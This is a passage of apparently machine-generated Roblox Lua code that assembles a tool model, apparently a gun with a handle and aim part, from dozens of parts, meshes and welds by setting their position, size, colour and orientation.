  3572. Part217.Parent = Tool0
  3573. Part217.Material = Enum.Material.Metal
  3574. Part217.BrickColor = BrickColor.new("Dark stone grey")
  3575. Part217.Rotation = Vector3.new(90, 0, -180)
  3576. Part217.Anchored = true
  3577. Part217.FormFactor = Enum.FormFactor.Custom
  3578. Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3579. Part217.CFrame = CFrame.new(144.969604, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3580. Part217.BottomSurface = Enum.SurfaceType.Smooth
  3581. Part217.TopSurface = Enum.SurfaceType.Smooth
  3582. Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3583. Part217.Position = Vector3.new(144.969604, 4.01991081, 144.444275)
  3584. Part217.Orientation = Vector3.new(90, 180, 0)
  3585. Part217.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3586. CylinderMesh218.Parent = Part217
  3587. CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3588. CylinderMesh218.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  3589. Part219.Parent = Tool0
  3590. Part219.Material = Enum.Material.Metal
  3591. Part219.BrickColor = BrickColor.new("Dark stone grey")
  3592. Part219.Rotation = Vector3.new(90, 0, -90)
  3593. Part219.Anchored = true
  3594. Part219.FormFactor = Enum.FormFactor.Custom
  3595. Part219.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3596. Part219.CFrame = CFrame.new(144.939606, 4.0199132, 144.324265, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3597. Part219.BottomSurface = Enum.SurfaceType.Smooth
  3598. Part219.TopSurface = Enum.SurfaceType.Smooth
  3599. Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3600. Part219.Position = Vector3.new(144.939606, 4.0199132, 144.324265)
  3601. Part219.Orientation = Vector3.new(90, 90, 0)
  3602. Part219.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3603. BlockMesh220.Parent = Part219
  3604. BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
  3605. BlockMesh220.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000042)
  3606. Part221.Parent = Tool0
  3607. Part221.Material = Enum.Material.Metal
  3608. Part221.BrickColor = BrickColor.new("Dark stone grey")
  3609. Part221.Rotation = Vector3.new(90, -90, 0)
  3610. Part221.Anchored = true
  3611. Part221.FormFactor = Enum.FormFactor.Custom
  3612. Part221.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3613. Part221.CFrame = CFrame.new(144.562943, 3.93990898, 144.490952, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  3614. Part221.BottomSurface = Enum.SurfaceType.Smooth
  3615. Part221.TopSurface = Enum.SurfaceType.Smooth
  3616. Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3617. Part221.Position = Vector3.new(144.562943, 3.93990898, 144.490952)
  3618. Part221.Orientation = Vector3.new(0, -90, -90)
  3619. Part221.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3620. SpecialMesh222.Parent = Part221
  3621. SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
  3622. SpecialMesh222.MeshType = Enum.MeshType.Wedge
  3623. SpecialMesh222.Scale = Vector3.new(0.166666448, 0.0666666701, 0.766666651)
  3624. Part223.Parent = Tool0
  3625. Part223.Material = Enum.Material.Metal
  3626. Part223.BrickColor = BrickColor.new("Dark stone grey")
  3627. Part223.Rotation = Vector3.new(-90, 0, 90)
  3628. Part223.Anchored = true
  3629. Part223.FormFactor = Enum.FormFactor.Custom
  3630. Part223.Size = Vector3.new(0.200000003, 0.906666577, 0.200000003)
  3631. Part223.CFrame = CFrame.new(144.186279, 3.983248, 144.457596, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3632. Part223.BottomSurface = Enum.SurfaceType.Smooth
  3633. Part223.TopSurface = Enum.SurfaceType.Smooth
  3634. Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3635. Part223.Position = Vector3.new(144.186279, 3.983248, 144.457596)
  3636. Part223.Orientation = Vector3.new(-90, 90, 0)
  3637. Part223.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3638. BlockMesh224.Parent = Part223
  3639. BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
  3640. BlockMesh224.Scale = Vector3.new(0.266666532, 1, 0.0666666701)
  3641. Part225.Parent = Tool0
  3642. Part225.Material = Enum.Material.Metal
  3643. Part225.BrickColor = BrickColor.new("Dark stone grey")
  3644. Part225.Rotation = Vector3.new(180, 90, 0)
  3645. Part225.Anchored = true
  3646. Part225.FormFactor = Enum.FormFactor.Custom
  3647. Part225.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3648. Part225.CFrame = CFrame.new(144.109604, 3.879915, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
  3649. Part225.BottomSurface = Enum.SurfaceType.Smooth
  3650. Part225.TopSurface = Enum.SurfaceType.Smooth
  3651. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3652. Part225.Position = Vector3.new(144.109604, 3.879915, 144.500931)
  3653. Part225.Orientation = Vector3.new(0, 90, 180)
  3654. Part225.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3655. CylinderMesh226.Parent = Part225
  3656. CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  3657. CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
  3658. ManualWeld227.Name = "Part-to-Handle Strong Joint"
  3659. ManualWeld227.Parent = Part225
  3660. ManualWeld227.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3661. ManualWeld227.C1 = CFrame.new(0.00999450684, 0.114465714, -0.122695923, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  3662. ManualWeld227.Part0 = Part225
  3663. ManualWeld227.Part1 = Part30
  3664. Part228.Parent = Tool0
  3665. Part228.Material = Enum.Material.Metal
  3666. Part228.BrickColor = BrickColor.new("Dark stone grey")
  3667. Part228.Rotation = Vector3.new(90, 0, 90)
  3668. Part228.Anchored = true
  3669. Part228.FormFactor = Enum.FormFactor.Custom
  3670. Part228.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3671. Part228.CFrame = CFrame.new(143.78627, 3.99990606, 144.294266, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  3672. Part228.BottomSurface = Enum.SurfaceType.Smooth
  3673. Part228.TopSurface = Enum.SurfaceType.Smooth
  3674. Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3675. Part228.Position = Vector3.new(143.78627, 3.99990606, 144.294266)
  3676. Part228.Orientation = Vector3.new(90, -90, 0)
  3677. Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3678. SpecialMesh229.Parent = Part228
  3679. SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  3680. SpecialMesh229.MeshType = Enum.MeshType.Wedge
  3681. SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
  3682. Part230.Parent = Tool0
  3683. Part230.Material = Enum.Material.Metal
  3684. Part230.BrickColor = BrickColor.new("Black")
  3685. Part230.Rotation = Vector3.new(45.0099983, 0, -90)
  3686. Part230.Anchored = true
  3687. Part230.FormFactor = Enum.FormFactor.Custom
  3688. Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3689. Part230.CFrame = CFrame.new(143.619598, 3.75471711, 144.312149, -1.90205043e-07, 1.00000215, -1.34168204e-07, -0.707042336, -2.29362854e-07, -0.707175553, -0.707176507, -3.96458191e-08, 0.707042336)
  3690. Part230.BottomSurface = Enum.SurfaceType.Smooth
  3691. Part230.TopSurface = Enum.SurfaceType.Smooth
  3692. Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3693. Part230.Position = Vector3.new(143.619598, 3.75471711, 144.312149)
  3694. Part230.Orientation = Vector3.new(45.0099983, 0, -90)
  3695. Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3696. BlockMesh231.Parent = Part230
  3697. BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
  3698. BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
  3699. Part232.Parent = Tool0
  3700. Part232.Material = Enum.Material.Metal
  3701. Part232.BrickColor = BrickColor.new("Black")
  3702. Part232.Rotation = Vector3.new(90, -90, 0)
  3703. Part232.Anchored = true
  3704. Part232.FormFactor = Enum.FormFactor.Custom
  3705. Part232.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3706. Part232.CFrame = CFrame.new(144.562943, 3.84657598, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
  3707. Part232.BottomSurface = Enum.SurfaceType.Smooth
  3708. Part232.TopSurface = Enum.SurfaceType.Smooth
  3709. Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3710. Part232.Position = Vector3.new(144.562943, 3.84657598, 144.494263)
  3711. Part232.Orientation = Vector3.new(0, -90, -90)
  3712. Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3713. SpecialMesh233.Parent = Part232
  3714. SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  3715. SpecialMesh233.MeshType = Enum.MeshType.Wedge
  3716. SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
  3717. Part234.Parent = Tool0
  3718. Part234.Material = Enum.Material.Metal
  3719. Part234.BrickColor = BrickColor.new("Dark stone grey")
  3720. Part234.Rotation = Vector3.new(-180, 0, 0)
  3721. Part234.Anchored = true
  3722. Part234.FormFactor = Enum.FormFactor.Custom
  3723. Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3724. Part234.CFrame = CFrame.new(144.936279, 4.0065732, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  3725. Part234.BottomSurface = Enum.SurfaceType.Smooth
  3726. Part234.TopSurface = Enum.SurfaceType.Smooth
  3727. Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3728. Part234.Position = Vector3.new(144.936279, 4.0065732, 144.387604)
  3729. Part234.Orientation = Vector3.new(0, 180, 180)
  3730. Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3731. CylinderMesh235.Parent = Part234
  3732. CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
  3733. CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
  3734. Part236.Parent = Tool0
  3735. Part236.Material = Enum.Material.Metal
  3736. Part236.BrickColor = BrickColor.new("Dark stone grey")
  3737. Part236.Rotation = Vector3.new(-90, 0, 90)
  3738. Part236.Anchored = true
  3739. Part236.FormFactor = Enum.FormFactor.Custom
  3740. Part236.Size = Vector3.new(0.213333338, 0.733333349, 0.200000003)
  3741. Part236.CFrame = CFrame.new(143.486267, 3.88658094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3742. Part236.BottomSurface = Enum.SurfaceType.Smooth
  3743. Part236.TopSurface = Enum.SurfaceType.Smooth
  3744. Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3745. Part236.Position = Vector3.new(143.486267, 3.88658094, 144.39093)
  3746. Part236.Orientation = Vector3.new(-90, 90, 0)
  3747. Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3748. BlockMesh237.Parent = Part236
  3749. BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
  3750. BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
  3751. ManualWeld238.Name = "Part-to-AimPart Strong Joint"
  3752. ManualWeld238.Parent = Part236
  3753. ManualWeld238.C0 = CFrame.new(-0.106666669, -0.366666675, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3754. ManualWeld238.C1 = CFrame.new(0.106674194, -0.113322258, -1.12998962, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  3755. ManualWeld238.Part0 = Part236
  3756. ManualWeld238.Part1 = Part420
  3757. Part239.Parent = Tool0
  3758. Part239.Material = Enum.Material.Metal
  3759. Part239.BrickColor = BrickColor.new("Dark stone grey")
  3760. Part239.Rotation = Vector3.new(-90, 0, 90)
  3761. Part239.Anchored = true
  3762. Part239.FormFactor = Enum.FormFactor.Custom
  3763. Part239.Size = Vector3.new(0.200000003, 0.466666669, 0.200000003)
  3764. Part239.CFrame = CFrame.new(144.072937, 3.99990606, 144.294266, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3765. Part239.BottomSurface = Enum.SurfaceType.Smooth
  3766. Part239.TopSurface = Enum.SurfaceType.Smooth
  3767. Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3768. Part239.Position = Vector3.new(144.072937, 3.99990606, 144.294266)
  3769. Part239.Orientation = Vector3.new(-90, 90, 0)
  3770. Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3771. BlockMesh240.Parent = Part239
  3772. BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
  3773. BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
  3774. Part241.Parent = Tool0
  3775. Part241.Material = Enum.Material.Metal
  3776. Part241.BrickColor = BrickColor.new("Black")
  3777. Part241.Rotation = Vector3.new(-90, -90, 0)
  3778. Part241.Anchored = true
  3779. Part241.FormFactor = Enum.FormFactor.Custom
  3780. Part241.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
  3781. Part241.CFrame = CFrame.new(144.829605, 3.86657596, 144.467606, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3782. Part241.BottomSurface = Enum.SurfaceType.Smooth
  3783. Part241.TopSurface = Enum.SurfaceType.Smooth
  3784. Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3785. Part241.Position = Vector3.new(144.829605, 3.86657596, 144.467606)
  3786. Part241.Orientation = Vector3.new(0, -90, 90)
  3787. Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3788. BlockMesh242.Parent = Part241
  3789. BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3790. BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  3791. Part243.Parent = Tool0
  3792. Part243.Material = Enum.Material.Metal
  3793. Part243.BrickColor = BrickColor.new("Dark stone grey")
  3794. Part243.Rotation = Vector3.new(-90, -90, 0)
  3795. Part243.Anchored = true
  3796. Part243.FormFactor = Enum.FormFactor.Custom
  3797. Part243.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3798. Part243.CFrame = CFrame.new(143.77626, 3.97323799, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  3799. Part243.BottomSurface = Enum.SurfaceType.Smooth
  3800. Part243.TopSurface = Enum.SurfaceType.Smooth
  3801. Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3802. Part243.Position = Vector3.new(143.77626, 3.97323799, 144.290939)
  3803. Part243.Orientation = Vector3.new(0, -90, 90)
  3804. Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3805. BlockMesh244.Parent = Part243
  3806. BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
  3807. BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
  3808. Part245.Parent = Tool0
  3809. Part245.Material = Enum.Material.Metal
  3810. Part245.BrickColor = BrickColor.new("Dark stone grey")
  3811. Part245.Rotation = Vector3.new(-90, 0, 90)
  3812. Part245.Anchored = true
  3813. Part245.FormFactor = Enum.FormFactor.Custom
  3814. Part245.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3815. Part245.CFrame = CFrame.new(144.396271, 3.96657395, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  3816. Part245.BottomSurface = Enum.SurfaceType.Smooth
  3817. Part245.TopSurface = Enum.SurfaceType.Smooth
  3818. Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3819. Part245.Position = Vector3.new(144.396271, 3.96657395, 144.500931)
  3820. Part245.Orientation = Vector3.new(-90, 90, 0)
  3821. Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3822. SpecialMesh246.Parent = Part245
  3823. SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3824. SpecialMesh246.MeshType = Enum.MeshType.Wedge
  3825. SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
  3826. Part247.Parent = Tool0
  3827. Part247.Material = Enum.Material.Metal
  3828. Part247.BrickColor = BrickColor.new("Black")
  3829. Part247.Rotation = Vector3.new(0, 90, 0)
  3830. Part247.Anchored = true
  3831. Part247.FormFactor = Enum.FormFactor.Custom
  3832. Part247.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3833. Part247.CFrame = CFrame.new(144.442932, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  3834. Part247.BottomSurface = Enum.SurfaceType.Smooth
  3835. Part247.TopSurface = Enum.SurfaceType.Smooth
  3836. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3837. Part247.Position = Vector3.new(144.442932, 3.84324098, 144.500931)
  3838. Part247.Orientation = Vector3.new(0, 90, 0)
  3839. Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3840. SpecialMesh248.Parent = Part247
  3841. SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  3842. SpecialMesh248.MeshType = Enum.MeshType.Wedge
  3843. SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
  3844. Part249.Parent = Tool0
  3845. Part249.Material = Enum.Material.Metal
  3846. Part249.BrickColor = BrickColor.new("Dark stone grey")
  3847. Part249.Rotation = Vector3.new(90, 0, -90)
  3848. Part249.Anchored = true
  3849. Part249.FormFactor = Enum.FormFactor.Custom
  3850. Part249.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
  3851. Part249.CFrame = CFrame.new(143.469604, 3.83325005, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3852. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3853. Part249.TopSurface = Enum.SurfaceType.Smooth
  3854. Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3855. Part249.Position = Vector3.new(143.469604, 3.83325005, 144.500931)
  3856. Part249.Orientation = Vector3.new(90, 90, 0)
  3857. Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3858. CylinderMesh250.Parent = Part249
  3859. CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3860. CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3861. Part251.Parent = Tool0
  3862. Part251.Material = Enum.Material.Metal
  3863. Part251.BrickColor = BrickColor.new("Dark stone grey")
  3864. Part251.Rotation = Vector3.new(90, 0, -90)
  3865. Part251.Anchored = true
  3866. Part251.FormFactor = Enum.FormFactor.Custom
  3867. Part251.Size = Vector3.new(0.200000003, 0.379999995, 0.200000003)
  3868. Part251.CFrame = CFrame.new(144.829605, 3.97324896, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3869. Part251.BottomSurface = Enum.SurfaceType.Smooth
  3870. Part251.TopSurface = Enum.SurfaceType.Smooth
  3871. Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3872. Part251.Position = Vector3.new(144.829605, 3.97324896, 144.39093)
  3873. Part251.Orientation = Vector3.new(90, 90, 0)
  3874. Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3875. BlockMesh252.Parent = Part251
  3876. BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
  3877. BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
  3878. Part253.Parent = Tool0
  3879. Part253.Material = Enum.Material.Metal
  3880. Part253.BrickColor = BrickColor.new("Dark stone grey")
  3881. Part253.Rotation = Vector3.new(90, 0, -180)
  3882. Part253.Anchored = true
  3883. Part253.FormFactor = Enum.FormFactor.Custom
  3884. Part253.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3885. Part253.CFrame = CFrame.new(143.222946, 4.07990694, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3886. Part253.BottomSurface = Enum.SurfaceType.Smooth
  3887. Part253.TopSurface = Enum.SurfaceType.Smooth
  3888. Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3889. Part253.Position = Vector3.new(143.222946, 4.07990694, 144.410934)
  3890. Part253.Orientation = Vector3.new(90, 180, 0)
  3891. Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3892. BlockMesh254.Parent = Part253
  3893. BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3894. BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3895. Part255.Parent = Tool0
  3896. Part255.Material = Enum.Material.Metal
  3897. Part255.BrickColor = BrickColor.new("Dark stone grey")
  3898. Part255.Rotation = Vector3.new(90, 0, -90)
  3899. Part255.Anchored = true
  3900. Part255.FormFactor = Enum.FormFactor.Custom
  3901. Part255.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  3902. Part255.CFrame = CFrame.new(143.969604, 3.84657598, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  3903. Part255.BottomSurface = Enum.SurfaceType.Smooth
  3904. Part255.TopSurface = Enum.SurfaceType.Smooth
  3905. Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3906. Part255.Position = Vector3.new(143.969604, 3.84657598, 144.28093)
  3907. Part255.Orientation = Vector3.new(90, 90, 0)
  3908. Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3909. CylinderMesh256.Parent = Part255
  3910. CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3911. CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  3912. ManualWeld257.Name = "Part-to-Handle Strong Joint"
  3913. ManualWeld257.Parent = Part255
  3914. ManualWeld257.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3915. ManualWeld257.C1 = CFrame.new(-0.00999450684, 0.0810916424, 0.433959961, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
  3916. ManualWeld257.Part0 = Part255
  3917. ManualWeld257.Part1 = Part30
  3918. Part258.Parent = Tool0
  3919. Part258.Material = Enum.Material.Metal
  3920. Part258.BrickColor = BrickColor.new("Dark stone grey")
  3921. Part258.Rotation = Vector3.new(-180, -90, 0)
  3922. Part258.Anchored = true
  3923. Part258.FormFactor = Enum.FormFactor.Custom
  3924. Part258.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3925. Part258.CFrame = CFrame.new(143.829605, 3.89991403, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
  3926. Part258.BottomSurface = Enum.SurfaceType.Smooth
  3927. Part258.TopSurface = Enum.SurfaceType.Smooth
  3928. Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3929. Part258.Position = Vector3.new(143.829605, 3.89991403, 144.500931)
  3930. Part258.Orientation = Vector3.new(0, -90, 180)
  3931. Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3932. SpecialMesh259.Parent = Part258
  3933. SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3934. SpecialMesh259.MeshType = Enum.MeshType.Sphere
  3935. SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
  3936. Part260.Parent = Tool0
  3937. Part260.Material = Enum.Material.Metal
  3938. Part260.BrickColor = BrickColor.new("Dark stone grey")
  3939. Part260.Rotation = Vector3.new(90, 0, -180)
  3940. Part260.Anchored = true
  3941. Part260.FormFactor = Enum.FormFactor.Custom
  3942. Part260.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3943. Part260.CFrame = CFrame.new(143.222946, 4.05991077, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3944. Part260.BottomSurface = Enum.SurfaceType.Smooth
  3945. Part260.TopSurface = Enum.SurfaceType.Smooth
  3946. Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3947. Part260.Position = Vector3.new(143.222946, 4.05991077, 144.410934)
  3948. Part260.Orientation = Vector3.new(90, 180, 0)
  3949. Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3950. BlockMesh261.Parent = Part260
  3951. BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3952. BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
  3953. Part262.Parent = Tool0
  3954. Part262.Material = Enum.Material.Metal
  3955. Part262.BrickColor = BrickColor.new("Dark stone grey")
  3956. Part262.Rotation = Vector3.new(-90, 0, -90)
  3957. Part262.Anchored = true
  3958. Part262.FormFactor = Enum.FormFactor.Custom
  3959. Part262.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3960. Part262.CFrame = CFrame.new(143.78627, 3.966573, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  3961. Part262.BottomSurface = Enum.SurfaceType.Smooth
  3962. Part262.TopSurface = Enum.SurfaceType.Smooth
  3963. Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3964. Part262.Position = Vector3.new(143.78627, 3.966573, 144.500931)
  3965. Part262.Orientation = Vector3.new(-90, -90, 0)
  3966. Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3967. SpecialMesh263.Parent = Part262
  3968. SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
  3969. SpecialMesh263.MeshType = Enum.MeshType.Wedge
  3970. SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
  3971. Part264.Parent = Tool0
  3972. Part264.Material = Enum.Material.Metal
  3973. Part264.BrickColor = BrickColor.new("Dark stone grey")
  3974. Part264.Rotation = Vector3.new(90, 0, -180)
  3975. Part264.Anchored = true
  3976. Part264.FormFactor = Enum.FormFactor.Custom
  3977. Part264.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3978. Part264.CFrame = CFrame.new(143.222946, 4.0665741, 144.374268, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  3979. Part264.BottomSurface = Enum.SurfaceType.Smooth
  3980. Part264.TopSurface = Enum.SurfaceType.Smooth
  3981. Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3982. Part264.Position = Vector3.new(143.222946, 4.0665741, 144.374268)
  3983. Part264.Orientation = Vector3.new(90, 180, 0)
  3984. Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3985. BlockMesh265.Parent = Part264
  3986. BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3987. BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
  3988. Part266.Parent = Tool0
  3989. Part266.Material = Enum.Material.Metal
  3990. Part266.BrickColor = BrickColor.new("Dark stone grey")
  3991. Part266.Rotation = Vector3.new(-90, 0, -90)
  3992. Part266.Anchored = true
  3993. Part266.FormFactor = Enum.FormFactor.Custom
  3994. Part266.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3995. Part266.CFrame = CFrame.new(143.78627, 3.98323798, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
  3996. Part266.BottomSurface = Enum.SurfaceType.Smooth
  3997. Part266.TopSurface = Enum.SurfaceType.Smooth
  3998. Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3999. Part266.Position = Vector3.new(143.78627, 3.98323798, 144.500931)
  4000. Part266.Orientation = Vector3.new(-90, -90, 0)
  4001. Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4002. BlockMesh267.Parent = Part266
  4003. BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
  4004. BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
  4005. Part268.Parent = Tool0
  4006. Part268.Material = Enum.Material.Metal
  4007. Part268.BrickColor = BrickColor.new("Dark stone grey")
  4008. Part268.Rotation = Vector3.new(90, 0, -90)
  4009. Part268.Anchored = true
  4010. Part268.FormFactor = Enum.FormFactor.Custom
  4011. Part268.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
  4012. Part268.CFrame = CFrame.new(143.969604, 3.89991212, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  4013. Part268.BottomSurface = Enum.SurfaceType.Smooth
  4014. Part268.TopSurface = Enum.SurfaceType.Smooth
  4015. Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4016. Part268.Position = Vector3.new(143.969604, 3.89991212, 144.28093)
  4017. Part268.Orientation = Vector3.new(90, 90, 0)
  4018. Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
  4019. CylinderMesh269.Parent = Part268
  4020. CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4021. CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
  4022. Part270.Parent = Tool0
  4023. Part270.Material = Enum.Material.Metal
  4024. Part270.BrickColor = BrickColor.new("Dark stone grey")
  4025. Part270.Rotation = Vector3.new(90, 0, -180)
  4026. Part270.Anchored = true
  4027. Part270.FormFactor = Enum.FormFactor.Custom
  4028. Part270.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
